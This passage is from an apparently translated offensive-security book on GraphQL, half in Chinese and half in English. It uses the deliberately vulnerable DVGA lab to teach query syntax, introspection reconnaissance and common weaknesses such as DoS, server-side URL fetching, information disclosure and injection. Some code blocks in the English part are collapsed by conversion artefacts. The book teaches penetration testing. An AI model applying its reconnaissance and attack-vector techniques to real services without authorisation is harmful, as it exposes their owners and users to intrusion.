如你所见,握手导致客户端和服务器从 HTTP 切换到 WebSocket,这一点可以通过响应代码 101 Switching Protocols 看出。Sec-WebSocket-Accept 响应头告知客户端,服务器已接受协议切换。

握手完成后,DVGA 会通过新建立的 WebSocket 连接发送订阅请求:

subscription {
  paste {
     id
     title
     content
  }
}

我们通过使用 subscription 关键字定义订阅操作,然后请求 paste 顶级字段,并选择 idtitlecontent 字段。这个订阅允许客户端订阅 paste 字段;每当 DVGA 中创建一个新的 paste 时,GraphQL 服务器将通知所有订阅者该事件。这省去了客户端不断向服务器请求更新的需求,尤其是在服务器此时可能没有任何新内容返回的情况下,这非常有用。

如果你想尝试使用 Altair 向 DVGA 发送这个订阅请求,你需要分配一个订阅 URL。你可以通过点击左侧边栏上的双箭头图标并输入 WebSocket URL ws://localhost:5013/subscriptions 来实现。接下来,为了接收来自 DVGA 订阅的数据,你需要创建一个 paste。你可以通过 DVGA 用户界面在公共粘贴页面创建它,或者通过另一个 Altair 标签页发送如下的变更:

mutation {
  createPaste(title: "New paste", content: "Test", public: false) {
    paste {
      id
      title
      content
    }
  }
}

WebSocket 连接容易受到跨站 WebSocket 劫持(CSWSH)漏洞的影响,当服务器在握手过程中未验证客户端的来源时,就会发生这种情况。WebSocket 连接在消息传输没有通过加密通道(如传输层安全协议 TLS)时,也容易受到中间人(MITM)攻击。这些漏洞的存在可能对通过 GraphQL 订阅进行的操作产生安全影响。在第九章,我们将更详细地讨论基于 WebSocket 的攻击。

操作名称

GraphQL 的操作名称是用于在特定上下文中唯一标识一个操作的标签。它们出现在客户端发送给 GraphQL 服务的可执行文档中。这些文档可以包含一个或多个操作的列表。例如,列表 3-1 中的文档展示了一个查询操作,要求返回pastes顶级字段以及一个嵌套的title字段。

query {
  pastes {
    title
  }
}

列表 3-1:一个可执行的查询文档

如果文档仅包含一个操作,并且该操作是一个没有定义变量且不包含指令的查询,则该操作可以用简写形式表示,省略query关键字,如列表 3-2 所示。

{
  pastes {
    title
  }
}

列表 3-2:一个简写查询文档

然而,一个文档也可能包含多个操作。如果文档中有多个相同类型的操作,则必须使用操作名称。

客户端定义这些操作名称,这意味着它们可以完全随机,这使得它们成为潜在欺骗分析师(审查 GraphQL 应用程序日志的人)的一个好方法。例如,假设一个客户端发送了一个使用操作名称getPastes的文档,但它并没有返回一个粘贴对象的列表,而是删除了所有粘贴。

列表 3-3 提供了一个文档示例,其中getPasteTitlesgetPasteContent被设置为查询操作名称。尽管这些操作名称对于所请求的内容是合适的,但它们也可以与查询的实际操作完全无关。只有底层操作逻辑和选择字段决定了请求的输出。

query getPasteTitles {
  pastes {
    title
  }
}

query getPasteContent {
  pastes {
    content
  }
}

列表 3-3:一个包含多个操作的查询文档,每个操作都带有操作名称标签

由于操作名称是客户端驱动的输入,它们也可能成为注入攻击的向量。某些 GraphQL 的实现允许操作名称中包含特殊字符。应用程序可能会将这些名称存储在审计日志、第三方应用程序或其他系统中。如果没有正确处理,可能会造成混乱。

另一个你可能会在查看列表 3-1、3-2 和 3-3 后注意到的有趣现象是,客户端可以通过使用不同的文档请求完全相同的信息。这种自由度给客户端带来了很大的能力;然而,它也增加了可能的请求数量,从而增加了应用程序的攻击面。那些没有考虑到查询构造方式的解析器,容易发生意外错误。

字段

字段是操作的选择集中可用的单个信息项,选择集是位于大括号({})之间的列表。在以下示例中,idtitlecontent是字段:

{
  id
  title
  content
}

由于这三个字段位于快捷查询的根级别,它们也被称为顶级字段。字段也可以包含它们自己的选择集,允许表示复杂的数据关系。在以下示例中,顶级owner字段有其自己的选择集,其中包含一个嵌套字段:

{
  id
  title
  content
  owner {
    name
  }
}

所以,选择集由字段组成,字段可以具有其自己的选择集和它们自己的字段。您有什么安全问题要指出吗?在第五章中,我们将探讨循环字段关系可能导致递归和昂贵请求的安全问题,这可能会降低性能并潜在崩溃 GraphQL 服务器。

当涉及与 GraphQL 服务交互时,字段非常重要。不知道有哪些字段可用可能会相当限制。幸运的是,实现已为我们部署了一个方便的工具,称为字段建议。当客户端拼写错误字段时,实现字段建议的服务器返回的错误消息将引用它认为客户端试图调用的字段。例如,如果我们在 DVGA 中发送一个查询,字段名称为titl(注意拼写错误),服务器将以建议的替代方案响应:

"Cannot query field \"titl\" on type \"PasteObject\". Did you mean \"title\"?"

这个字段建议功能使得 GraphQL 不仅对 API 消费者而言成为一个方便、友好和简单的工具,对于黑客来说也是如此。我们可以利用此功能来发现我们可能不知道的字段。我们将在第六章讨论这种信息披露技术。

参数

与 REST API 类似,GraphQL 允许客户端为其查询中的各种字段发送参数,以定制它们返回的结果。如果您再看一下图 3-1,您会注意到参数可以在各个级别实现,即在字段和指令中。

在以下查询中,users字段具有一个id参数,其值为1。如果没有id参数,此查询将返回 DVGA 中的整个用户列表。该参数将此列表过滤为具有相同标识符的用户:

query {
  users(id: 1) {
    id
 username
  }
}

如预期的那样,对此请求的响应将返回单个用户对象、其 ID 和其用户名:

{
  "data": {
    "users": [
      {
        "id": "1",
        "username": "admin"
      }
    ]
  }
}

参数也可以传递给嵌套字段。考虑这个查询:

query {
  users(id: 1)  {
    username(capitalize: true)
  }
}

嵌套的username字段现在具有名为capitalize的参数。此参数接受一个布尔值,此处设置为true。在 DVGA 中,此参数将使 GraphQL 将用户名字段的第一个字符大写,并在响应中返回,例如将admin转换为Admin

{
  "data": {
    "users": [
      {
        "username": "Admin"
      }
    ]
  }
}

参数是无序的,这意味着改变它们的顺序不会改变查询的逻辑。在以下示例中,无论您先传递limit参数还是public参数,都不会改变查询的含义:

query {
  pastes(**limit: 1, public: true**){
    id
  }
}

这些参数的处理和验证方式完全由应用程序决定,实施差异可能导致安全漏洞。例如,由于 GraphQL 是强类型的,将一个整数值传递给一个期望字符串值的参数将导致验证错误。如果你传递的是字符串,GraphQL 层面的验证会通过,但应用程序仍应验证该输入的格式。例如,如果该值是一个电子邮件地址,应用程序可能会使用正则表达式检查其格式是否符合电子邮件地址的规范,或者检查是否包含 @ 符号。

如果应用程序使用了一个为电子邮件地址提供自定义标量类型的库,该库本身可能会执行此验证,从而减少应用程序维护人员犯错的机会。像 graphql-scalars(github.com/Urigo/graphql-scalars)这样的外部 GraphQL 库为特定用例提供了有用的自定义标量类型,例如时间戳、IP 地址、网站 URL 等。当然,自定义标量类型中仍然可能存在漏洞。例如,Python 的 ipaddress 库中发现的漏洞(CVE-2021-29921)可能使攻击者绕过基于 IP 的访问控制。

如你所见,参数赋予了客户端很大的权限来操控请求的行为,因此它们是另一个重要的攻击向量。由于参数的值由客户端驱动,它可能会在基于注入的攻击中被填充恶意内容。在第八章中,我们将介绍如果参数值没有正确清理以防止注入攻击时,如何利用这些参数的工具和技术。

别名

别名 允许客户端将字段的响应键更改为与原字段名称不同的内容。例如,在这里我们将 myalias 作为 title 字段名称的别名:

query {
   pastes {
      **myalias:**title
   }
}

响应将包含 myalias 键,而不是原始的 title 字段名称:

{
  "data": {
    "pastes": [
      {
        **"myalias":** "My Title!"
      }
    ]
  }
}

当你处理相同的响应键时,别名非常有用。请参阅列表 3-4 中的查询。

query {
  pastes(public: false) {
    title
  }
  pastes(public: true) {
    title
  }
}

列表 3-4:使用不同参数值的重复查询

在这个查询中,我们使用了 pastes 字段两次。在每个查询中,我们传递了不同值的 public 参数(falsetrue)。public 参数是一种根据权限过滤特定粘贴内容的方式:公开粘贴可以被所有客户端查看,而私密粘贴仅能由原作者查看。将列表 3-4 中的查询复制到 Altair 并发送给 DVGA,你应该看到以下输出:

{
  "errors": 
    {
      "message": "Fields \"pastes\" conflict because they have differing arguments.
      Use different aliases on the fields to fetch both if this was intentional.",
`--snip--`
}

GraphQL 服务器告诉我们,在使用此查询时发生了冲突。由于我们使用不同的参数发送了相同的查询,GraphQL 无法同时处理它们。这时,别名就派上用场了:我们可以重命名查询,使服务器将其视为不同的查询。[列表 3-5 展示了如何使用别名来避免键冲突。

Query {
  **queryOne:**pastes(public: false) {
    title
  }
  **queryTwo:**pastes(public: true) {
    title
  }
}

清单 3-5:为两个查询起别名

在下面的响应中,你会注意到两个 JSON 键,queryOnequeryTwo,它们分别对应我们在清单 3-5 中指定的每个别名。你可以将每个 JSON 键看作是对一个独立查询的响应:

{
  "data": {
    "queryOne": [
 {
        "title": "My Title!"
      }
    ],
    "queryTwo": [
      {
        "title": "Testing Testing"
      }
    ]
  }
}

到目前为止,别名看起来似乎很无害。放心,我们可以将其武器化。在第五章中,我们将教你如何利用别名进行各种 DoS 攻击,在第七章中,我们将用它们来突破认证控制。

片段

片段允许客户端在 GraphQL 查询中重用相同的字段集合,以提高可读性并避免字段重复。你可以定义一个片段一次,并在需要这组特定字段时随时使用它,而无需重复定义这些字段。

片段是使用fragment关键字定义的,后跟你希望的任何名称,并使用on关键字声明在对象类型名称上:

fragment CommonFields on PasteObject {
  title
  content
}

在这个示例中,我们定义了一个名为CommonFields的片段。使用on关键字,我们声明该片段与PasteObject相关联,这使我们能够访问你已经熟悉的字段,如titlecontent。清单 3-6 展示了如何在查询中使用此片段:

query {
  pastes {
    **...CommonFields**
  }
}

fragment CommonFields on PasteObject {
   title
   content
}

清单 3-6:定义CommonFields片段并在查询中使用它

使用三个点(...),也叫做展开运算符,我们可以在查询的不同部分引用CommonFields片段,以访问与粘贴相关的字段,如titlecontent。片段在查询中引用的次数没有限制。

从渗透测试的角度来看,片段可以构建成相互引用,从而形成循环片段条件,这可能导致 DoS 攻击。你将在第五章学习如何利用这一点。

变量

你可以通过在 GraphQL 文档中声明变量,将变量作为参数值传递给操作。变量很有用,因为它们可以避免在运行时进行繁琐的字符串构建。

变量在操作的顶部定义,在操作名称之后。清单 3-7 展示了一个使用变量的查询。

query publicPastes($status: Boolean!){
  pastes(public: $status){
    id
    title
    content
  }
}

清单 3-7:将status变量传递给pastes对象的public参数

使用美元符号($),我们提供了变量名称status及其类型Boolean。变量类型后的!表示该变量是操作所必需的。

要设置变量的值,你可以在定义变量类型时提供默认值,或者在文档中发送一个包含变量名称和值的 JSON 对象。在 Altair 中,你可以在查询面板下方的变量面板中定义变量,如图 3-2 所示。

在这个示例中,我们传递了一个名为status的变量,值为false。该值将在文档中变量出现的任何地方使用。变量提供了一种更简便的方法,用于在字段或指令中的参数重用我们传递的值。

图 3-2:Altair 变量窗格(位于左下角)

指令

指令允许你装饰或改变文档中字段的行为。行为变化可能会影响特定字段在应用程序中的验证、处理或执行方式。指令可以被看作是参数的“高级版本”,因为它们允许更高层次的控制,比如根据某些逻辑有条件地包含或跳过字段。指令分为两种类型:查询级别和模式级别。两种类型都以@开头,并且可以利用参数(类似于字段)。

实现通常提供几种开箱即用的指令,GraphQL API 开发人员也可以根据需要创建自己的自定义指令。与操作名称或别名不同,客户端只能使用服务器定义的指令。表 3-2 显示了你在实际使用中经常会看到的常见默认指令,它们的用途以及定义的位置。

表 3-2:常见的模式和查询级别指令

# 名称 描述 位置
1 @skip 有条件地从响应中省略字段 查询
2 @include 有条件地将字段包含在响应中 查询
3 @deprecated 表示某个模式组件已弃用 模式
4 @specifiedBy 指定自定义标量类型(如 RFC) 模式

客户端可以将@skip指令应用于某个字段,以动态地将其从响应中省略。当指令参数中的if条件为true时,该字段将不会被包含。请参考清单 3-8 中的查询。

query pasteDetails($pasteOnly: Boolean!){
  pastes{
    id
    title
    content
  ❶ owner @skip(if: $pasteOnly) {
      name
    }
  }
}

`--snip--`

{
  "pasteOnly": true
}

清单 3-8:使用@skip指令从查询中省略所有者信息

我们可以看到@skip指令的使用,它包含一个if条件,检查$pasteOnly布尔变量的值 ❶。如果此变量设置为true,整个owner字段(以及它的嵌套字段)将被跳过,并从响应中隐藏。

@include查询指令与@skip指令相反。只有当传递给它的参数设置为true时,它才会包括该字段及其嵌套字段。

@deprecated指令不同于@skip@include指令,因为客户端不会在查询文档中使用它。作为一种模式级指令@deprecated只在 GraphQL 模式定义中使用。它出现在字段或类型定义的末尾,用于记录该字段或类型不再支持。

@deprecated 指令有一个可选的 `reason` 字符串参数,允许开发者指定一条消息,告知那些尝试使用该字段的客户端或开发者。这些信息会出现在如 introspection 查询的响应以及 GraphQL IDE 工具(如 GraphiQL Explorer 和 GraphQL Playground)中的文档部分等地方。列表 3-9 是一个示例架构,展示了如何使用 `@deprecated` 指令。

``` type PasteObject { `--snip--` userAgent: String ipAddr: String @deprecated(reason: "We no longer log IP addresses") owner: OwnerObject `--snip--` } ``` Listing 3-9: A deprecated schema-directive defined in an SDL Finally, the more recently added `@specifiedBy` schema-level directive is used to provide a human-readable specification URL for a custom scalar type. We will discuss how `@specifiedBy` is typically used in “Scalars” on page 58. The `@skip`, `@include`, `@deprecated`, and `@specifiedBy` directives are required; GraphQL server implementations must support them to be considered spec compliant. Custom directives empower GraphQL implementations to develop new features or augment functionality not currently supported, or widely used, by the ecosystem. One example of a widely adopted custom directive is `@computed`. This powerful schema-level directive saves implementers from having to create resolver functions for fields that can be computed from the values of other fields in the schema. Listing 3-10 shows how the `@computed` directive can merge the `firstName` and `lastName` fields into the `fullName` field. ``` type User { firstName: String lastName: String fullName: String **@computed(value: "$firstName $lastName")** } ``` Listing 3-10: A computed directive used for the merger of two fields The power of directives is also their greatest weakness: they are essentially unregulated. Other than describing their general syntax, the GraphQL spec doesn’t mention much about directives, allowing every server implementation the freedom to design their own architecture. Not every GraphQL server implementation will support the same directives. However, implementations that use directives to alter the underlying behavior of the GraphQL language could introduce risks if implemented incorrectly. The use of custom directives to expand GraphQL opens implementations to customized attack vectors that we hackers can exploit. A vulnerability in a custom directive used by a popular GraphQL implementation could impact hundreds of organizations. In Chapter 5, we will explore how to use directives to attack GraphQL servers. ## Data Types GraphQL’s *types* define the custom objects and data structures that make up a GraphQL schema. There are six kinds of types: object, scalar, enum, union, interface, and input. In this section, we will define each type and explain what it is used for. We reference the types defined in DVGA’s schema as examples. If you’d like more context, you can use Altair to download the full SDL file for DVGA. To download it, click the **Docs** link next to the Send Request button and select the ellipsis (...) button to expose the Export SDL option, shown in Figure 3-3. ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/blkht-gql/img/f03003.png) Figure 3-3: Altair’s Export SDL feature ### Objects Custom *object types* are groups of one or more fields that define domain- or application-specific objects. Consider the snippet of DVGA’s schema in Listing 3-11. ``` type PasteObject { id: ID! title: String content: String public: Boolean userAgent: String ipAddr: String ownerId: Int burn: Boolean ❶ owner: OwnerObject } ``` Listing 3-11: The DVGA `PasteObject` type We define a new custom object type, called `PasteObject`. This object has fields described between curly brackets. You may recognize a few of these fields, as we used them in a GraphQL query earlier in this chapter. Each of these fields uses GraphQL’s out-of-the-box scalar types except for the `owner` field, which is also a custom object type. If you look at the `id` field, you’ll notice that it contains the exclamation mark (`!`) character. This means that every `Paste` ``object requires an `ID`, whereas every other field can be null. These required fields are known as *non-null wrapping types*. Also notice the one-way-link relationship between our `Paste` and `Owner` object nodes ❶. We discussed such relationships in Chapter 1. In practice, this means that we can request an `Owner` object and its associated fields through a `Paste` object.`` ````### Scalars *Scalars* include several core built-in value types, such as `ID`, `Int`, `Float`, `String`, and `Boolean`. Unlike object types, they don’t have their own fields. Implementations can also define their own custom scalars. Consider Listing 3-12, which shows how DVGA could introduce a new field within the `Paste` object called `createdAt`. ``` **scalar DateTime** type PasteObject { id: ID! title: String content: String public: Boolean userAgent: String ipAddr: String ownerId: Int burn: Boolean owner: OwnerObject **createdAt: DateTime!** } ``` Listing 3-12: A scalar SDL definition Just like the `ID` field, this `createdAt` field could be automatically assigned upon paste creation with a custom scalar type known as `DateTime`. This custom scalar can help us ensure proper serialization, formatting, and validation. Custom scalars may also use the `@specifiedBy` built-in directive to describe their specification URL for clients. For example, a custom scalar type `UUID` may set its specification URL to the relevant Internet Engineering Task Force (IETF) specification: ``` scalar UUID @specifiedBy(url:"https://tools.ietf.org/html/rfc4122") ``` ### Enums *Enums*, or *enumeration* types, are fields used to return a single string value from a list of possible values. For example, an application may want to allow a client to choose how to sort a list of usernames in the response. To do so, they might create an enum named `UserSortEnum` to represent types of sorting (such as by username, email, password, or the date a user joined): ``` enum UserSortEnum { ID EMAIL USERNAME DATE_JOINED } ``` This `UserSortEnum` enum can then be used as the type for an argument such as `order`, exposed via an input type named `UserOrderedType`. (We discuss input types later in this chapter.) Listing 3-13 shows how such a schema might look. ``` enum UserSortEnum { ID EMAIL USERNAME DATE_JOINED } input UserOrderType { sort: UserSortEnum! } type UserObject { id: Int! username: String! } type Query { users(limit: Int, order: UserOrderType): UserObject! } ``` Listing 3-13: A user sorting based on an input type that uses an enum In this example, we define the `UserSortEnum` with a few enum fields, such as `ID`, `EMAIL`, `USERNAME`, and `DATE_JOINED`. We then define an input type named `UserOrderType`, which contains a field named `sort` of type `UserSortEnum`. We expose a query named `users`, which takes two arguments, `limit` and `order`, where `order` is of type `UserOrderType`. This allows clients to return a list of users sorted based on any of the defined enums. Such a query may look like the following: ``` query { users(limit: 100, order: {**sort: ID**}) } ``` Allowing the client to sort using the options listed in `UserSortEnum` can be risky. For example, if the client can sort users by their `ID`, an attacker might have access to the identity of the first user created in the system. This user is likely a super-admin or built-in application account, and so could help focus the attack on high-value accounts with potentially broader permissions than other accounts. ### Unions A *union* is a type that returns one of many object types. A client can leverage unions to send a single request to a GraphQL server and get a list of objects. Consider Listing 3-14, which shows a query using a search feature in DVGA. This feature allows a client to search for a keyword that returns multiple `Users` and `Paste` objects: ``` query { search(keyword: "p") { **... on UserObject {** **username** **}** **... on PasteObject {** **title** **content** **}** } } ``` Listing 3-14: The DVGA search feature This search feature empowers clients to find both pastes and users that match the keyword with just a single request. Pretty neat! The response to the query can be seen in the following code. It returns a list of matching paste and user fields that have the letter *p* in either their username or title: ``` { "data": { "search": [ { "title": "This is my first **p**aste", "content": "What does your room look like?" }, { "id": "2", "username": "o**p**erator" } ] } } ``` To accept and resolve a request like this, a schema can use a union type. In Listing 3-15, we define a `union` named `SearchResults`. ``` **union SearchResults = UserObject | PasteObject** type UserObject { id: ID! username: String! } type PasteObject { id: ID! title: String content: String `--snip--` } type Query { **search(keyword: String): [SearchResults!]** } ``` Listing 3-15: A union definition As you can see, the `SearchResults` union type merges the user and paste objects into a single type. That type can then be used in a single search query operation that accepts a `keyword` string argument. ### Interfaces Another way to return multiple types within the same field is through interfaces. *Interfaces* define a list of fields that must be included across all object types that implement them. In the union request example covered in the previous section, you saw how we could retrieve the `username` field of any `User` object, as well as the `title` and `content` fields of any `Paste` object, as long as these matched the search pattern. Interfaces do not work like this; they require the same fields to be present in both objects in order for the objects to be joined in a response to the client. To implement our search functionality using interfaces instead of unions, we could use the schema shown in Listing 3-16. ``` **interface SearchItem {** **keywords: [String!]** **}** type UserObject **implements SearchItem** { id: ID! username: String! **keywords: [String!]** } type PasteObject **implements SearchItem** { id: ID! title: String content: String **keywords: [String!]** `--snip--` } type Query { search(keyword: String): [SearchItem!]! } ``` Listing 3-16: An interface SDL definition We create an interface type called `SearchItem` with a `keywords` string list field. Any object type that wants to implement this interface will need to include the `keywords` field. We then define this field within both the `UserObject` and `PasteObject` objects. Now a client could send a search query much like the one outlined in Listing 3-15 to retrieve all user and paste objects that use a particular keyword. Interfaces could pose a problem in applications that poorly implement authorization. One way to implement authorization in GraphQL is by using custom schema-level directives. Because an interface defines fields to be used by other objects, any sensitive field that isn’t properly decorated could be exposed unintentionally. Large SDL files can have thousands of lines, and there is always a chance a developer might forget to add the relevant authorization directives. You’ll learn more about authorization in Chapter 8. ### Inputs Arguments are able to accept values of different types, such as scalars, but when we need to pass large and complex inputs to the server, we can leverage an input type to simplify our requests. *Input types* are essentially the same as object types, but they can be used only as inputs for arguments. They help organize client requests and make it easier for clients to reuse inputs in multiple arguments. Mature GraphQL deployments use input types to better structure their APIs and make their schema documentation easier to read. Let’s see input types in action. In Listing 3-17, we declare an `$input` variable and assign the type as `UserInput!`. Then we pass this input variable into the `userData` argument for our `createUser` mutation. ``` mutation newUser(**$input: UserInput!**) { createUser(**userData: $input**) { user { username } } } ``` Listing 3-17: An input type in a mutation As you learned in “Variables” on page 53, to submit inputs to the application, we’ll need to create a JSON object that represents our `UserInput!` and assign it to the input key, as shown in Listing 3-18. ``` { "input": { "username": "tom", "password": "secret", "email": "tom@example.com" } } ``` Listing 3-18: An input definition In tools such as Altair or GraphiQL Explorer, Listing 3-18’s JSON will be defined in the Variables pane of the client. Input types provide clients with a possible way to defeat type validations, which may or may not have broken validation logic. For example, earlier in this chapter we discussed how custom scalar types could fail to validate values sent by clients, such as IP addresses or email addresses. Validation issues related to email addresses could allow attackers to bypass registration forms and login processes or perform injections. ## Introspection After reviewing GraphQL’s language and type system, you should have noticed stark differences in what GraphQL APIs and REST APIs can offer clients. GraphQL puts a lot of power in the hands of the client by default. But wait, there’s more! Arguably one of GraphQL’s most powerful features is *introspection*, the built-in tool that empowers clients to discover actions they can take using a GraphQL API. Introspection lets clients query a GraphQL server for information about its underlying schema, which includes data like queries, mutations, subscriptions, directives, types, fields, and more. As hackers, this feature can be a gold mine in supporting our reconnaissance, profiling, data collection, and attack-vector analysis efforts. Let’s dive into how we can use it. The GraphQL introspection system has seven introspection types that we can use to query the schema. Table 3-3 lists these introspection types. Table 3-3: The Introspection System Types | **Introspection type** | **Usage** | | --- | --- | | `__Schema` | Provides all information about the schema of a GraphQL service | | `__Type` | Provides all information about a type | | `__TypeKind` | Provides the different kinds of types (scalars, objects, interface, union, enum, and so on) | | `__Field` | Provides all information for each field of an object or interface type | | `__InputValue` | Provides field and directive argument information | | `__EnumValue` | Provides one of the possible values of an enum | | `__Directive` | Provides all information on both custom and built-in directives | Consider Listing 3-19, which uses the `__Schema` introspection type against DVGA. ``` query { **__schema** { types { name } } } ``` Listing 3-19: An introspection query for schema types The `__schema` introspection top-level field will query all the information available to us through the GraphQL schema we are interacting with. We further refine our investigation by telling the query to look for all `types` and to select their `name` fields. Here is how GraphQL displays the introspection response to this request: ``` { "data": { "__schema": { "types": [ `--snip--` { "name": **"PasteObject"** }, { "name": **"ID"** } `--snip--` { "name": **"String"** }, { "name": **"OwnerObject"** }, { "name": **"UserObject"** } `--snip--` ] } } ``` Here, we can see many returned type names. A few should be familiar to you, such as `ID`, `String`, and `PasteObject`. We know that `ID` and `String` are GraphQL’s built-in scalar types, but names like `PasteObject`, `OwnerObject`, and `UserObject` should immediately catch our attention as we probe the schema for goodies, because these are custom object types introduced by the developers and not built-in GraphQL types. Let’s dive deeper into these. We can use `__type` to further investigate information about types we find interesting. Listing 3-20 provides us with a powerful query to discover all fields and their types within a custom object type of our choosing. ``` query { **__type(name: "PasteObject")** { name **kind** **fields** { name type { name kind } } } } ``` Listing 3-20: An introspection query for discovering fields within an object of interest In this case, we decided to dive deeper into the `PasteObject` type. You will notice that we are selecting not just the name of the type but also its `kind`, which returns the `__TypeKind` introspection type for the object. We’re also selecting all of the `PasteObject` fields and their names, types, and kinds. Let’s take a look at the response: ``` "__type": { "name": "PasteObject", "kind": "OBJECT", "fields": [ { "name": "id", "type": { "name": null, "kind": "NON_NULL" } }, { "name": "title", "type": { "name": "String", "kind": "SCALAR" } }, `--snip--` { "name": "content", "type": { "name": "String", "kind": "SCALAR" } }, { "name": "owner", "type": { "name": "OwnerObject", "kind": "OBJECT" } } ] } ``` The structure of the introspection query we made matches that of the response we received. We now have the entire list of fields we can request, as well as their types. Sensitive fields, intended for staff or internal use only, may easily become revealed to the public if they are included in the GraphQL schema and introspection is enabled. But introspection isn’t only about field discovery; it is the equivalent of being handed a REST API Swagger (OpenAPI) definition file. It allows us to discover the queries, mutations, and subscriptions that are supported, the arguments they accept, and how to construct and execute them. Having this intelligence at our fingertips may allow us to discover and craft malicious operations. We will dive into more introspection fun in Chapter 6, which focuses on information disclosure tools and techniques. ## Validation and Execution All GraphQL query requests are tested for their validity against the schema and type system before they are executed and resolved by the server. For instance, when a client sends a query for certain fields, the GraphQL implementation’s validations will check the schema to verify that all the requested fields exist on the given type. If a field doesn’t exist within the schema or isn’t associated with a given type, the query will be flagged as invalid and won’t execute. The GraphQL spec outlines several validation types. These include document, operation, field, argument, fragment, value, directive, and variable validations. The example we just mentioned is a field validation; other validations, such as directive validations, can check if a directive sent by the client is recognized in the schema and supported by the implementation. There are significant differences in the way GraphQL implementations interpret and conform to the GraphQL spec, and especially in the way they handle responses to invalid requests. This variation is what fingerprinting tools like Graphw00f (covered in Chapter 4) aim to detect. Because the thoroughness of a server’s validation stage reveals information about its security maturity, it’s important to analyze these implementation weaknesses. This is where the GraphQL Threat Matrix comes in handy. The GraphQL Threat Matrix ([`github.com/nicholasaleks/graphql-threat-matrix`](https://github.com/nicholasaleks/graphql-threat-matrix)) is a security framework for GraphQL developed by the authors of this book. It is used by bug bounty hunters, security researchers, and hackers to assist with uncovering vulnerabilities across multiple GraphQL implementations. Figure 3-4 shows its interface. The matrix analyzes, tracks, and compares the most common implementations, looking at their supported validations, default security configurations, features, and notable vulnerabilities. The matrix is useful for both hackers and defenders. Knowing how to attack an implementation is crucial, but making data-driven decisions about which implementation to choose in the first place is just as important. ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/blkht-gql/img/f03004.png) Figure 3-4: The GraphQL Threat Matrix Once successfully validated, a GraphQL request is executed by the server. Resolver functions, which we covered in Chapter 1, are responsible for returning a response for a requested field. ## Common Weaknesses In this section, we will provide a high-level overview of the common weaknesses found in GraphQL. In later chapters, we will perform penetration testing against each vulnerability class, as well as review related exploit code. ### Specification Rule and Implementation Weaknesses GraphQL’s specification defines rules, design principles, and standard practices. If you ever want to develop your own GraphQL implementation, this is the document your implementation should conform to, including the way it formats its responses, validates arguments, and so on. Here are two examples of rules taken from the GraphQL specification: > Arguments may be provided in any syntactic order and maintain identical semantic meaning. > > The *data* entry in the response will be the result of the execution of the requested operation. These two rules are pretty simple. The first one explains that the order of arguments provided in a query shouldn’t change the server’s response, and the second rule explains that a GraphQL server response must be returned as part of the *data* JSON field. Yet complying with these rules is the developer’s responsibility, which is where discrepancies may happen. In fact, the GraphQL spec doesn’t care about how implementations conform to the spec: > Conformance requirements expressed as algorithms can be fulfilled by an implementation of this specification in any way as long as the perceived result is equivalent. To highlight an example of the behavioral differences between certain implementations, take a look at graphql-php ([`github.com/webonyx/graphql-php`](https://github.com/webonyx/graphql-php)). This open source implementation is written in PHP and based on GraphQL’s reference implementation library GraphQL.js ([`github.com/graphql/graphql-js`](https://github.com/graphql/graphql-js)). However, when you look at how graphql-php handles aliases, you will notice that it differs from many other implementations; it allows clients to submit aliases with special characters, such as `$`. These subtle differences between implementations not only help hackers fingerprint the underlying technology behind a GraphQL API service (as you will learn in Chapter 4) but also may allow us to craft special payloads to impact services using certain implementations. Finally, these varying execution behaviors mean that a vulnerability detected in one implementation may not necessarily impact others. As a hacker, you will often find yourself referencing an application’s design document to better understand how it is meant to function compared with how it functions in practice. Often, you’ll find discrepancies. For example, imagine that an application design document defines the following rule: > The application must be able to receive a URL from a client, fetch it over the network, and return a response to the client. This rule isn’t very specific; it doesn’t explain how to secure this function and what the developer should be cautious of when implementing it. However, many things can go wrong in a feature that fetches content from a user-controlled URL. An attacker might be able to do any of the following: * Specify a private IP address (for example, 10.1.1.1) in the URL, which effectively allows access to internal resources on the server where the application lives. * Specify a remote URL that includes malicious code. The server will download the code and host malware on the server. * Specify a URL pointing to a very large file, exhausting server resources and impacting other users’ ability to use the application. This is just a partial list of harmful possibilities. If the developer doesn’t take these scenarios into consideration during implementation, anyone who uses their application will be exposed to these vulnerabilities. Building bug-free software is hard (and likely impossible to avoid completely). The more you know about an application and the deeper you dig into it, the higher your chances of finding a vulnerability. ### Denial of Service One of the most prevalent vulnerability classes in GraphQL is DoS-based vulnerabilities. These vulnerabilities can degrade a targeted system’s performance or exhaust its resources completely, making it unable to fulfill client queries or even crash. In this chapter, we hinted at how field and object relationships, aliases, directives, and fragments could all potentially be used as attack vectors against a GraphQL service, because these capabilities provide API clients with an enormous amount of control over the query structure and execution behavior. In Chapter 5, you’ll learn how this power can also enable clients to construct very complex queries that effectively degrade a GraphQL server’s performance if the right security countermeasures are not put in place. We will review four ways that a client can create expensive queries. These may overwhelm the GraphQL server and lead to DoS conditions. ### Information Disclosure A common weakness in many web applications is the unintended disclosure of data to the public, or to a group of users that isn’t authorized to access it. Information leakages have many causes, and systems entrusted with protecting sensitive information such as PII should deploy numerous layers of detection and prevention controls to protect information from being exposed. When it comes to GraphQL, hackers can fingerprint and collect data from its API in several ways. In Chapter 6, we’ll teach you how to leverage introspection queries to hunt for fields that may contain sensitive information. We’ll equip you with tools that take advantage of how field suggestions and error messages work to help uncover hidden data models and maneuver around GraphQL environments where introspection may be disabled. ### Authentication and Authorization Flaws Authentication and authorization are complex security controls in any API system architecture. The fact that the GraphQL spec refrains from providing authentication and authorization guidance for implementations doesn’t help. This void often leads engineers to implement their own authentication and authorization mechanisms based on open source, in-house, or third-party solutions. Most of the authentication and authorization vulnerabilities you’ll find in GraphQL stem from the same issues you’d find in traditional APIs, such as failure to adequately protect against brute-force attacks, logic flaws, or poor coding that allows controls to be entirely bypassed. In Chapter 7, we’ll review several common GraphQL authentication and authorization strategies and teach you how to defeat them with aliases, batch queries, and good, old-fashioned logic flaws. ### Injections Injection vulnerabilities can have devastating impacts on application data, and while frameworks have gotten better at protecting against them by offering reusable security methods, they are still prevalent today. Much like its counterparts REST and SOAP, GraphQL isn’t immune to the Open Web Application Security Project (OWASP) Top 10, a list of the most common web vulnerabilities, and can become vulnerable to injection-based attacks if untrusted information from a client is accepted and processed by the application. GraphQL’s language supports multiple avenues for a malicious client to send injection data to a server, such as query arguments, field arguments, directive arguments, and mutations. Implementations of GraphQL also vary in their conformance with the GraphQL spec, leading to differences in the way they may handle, sanitize, and validate the data coming to them from clients. In Chapter 8, you will learn about specific GraphQL injection vulnerabilities and their various entry points into backend systems. ## Summary By now, 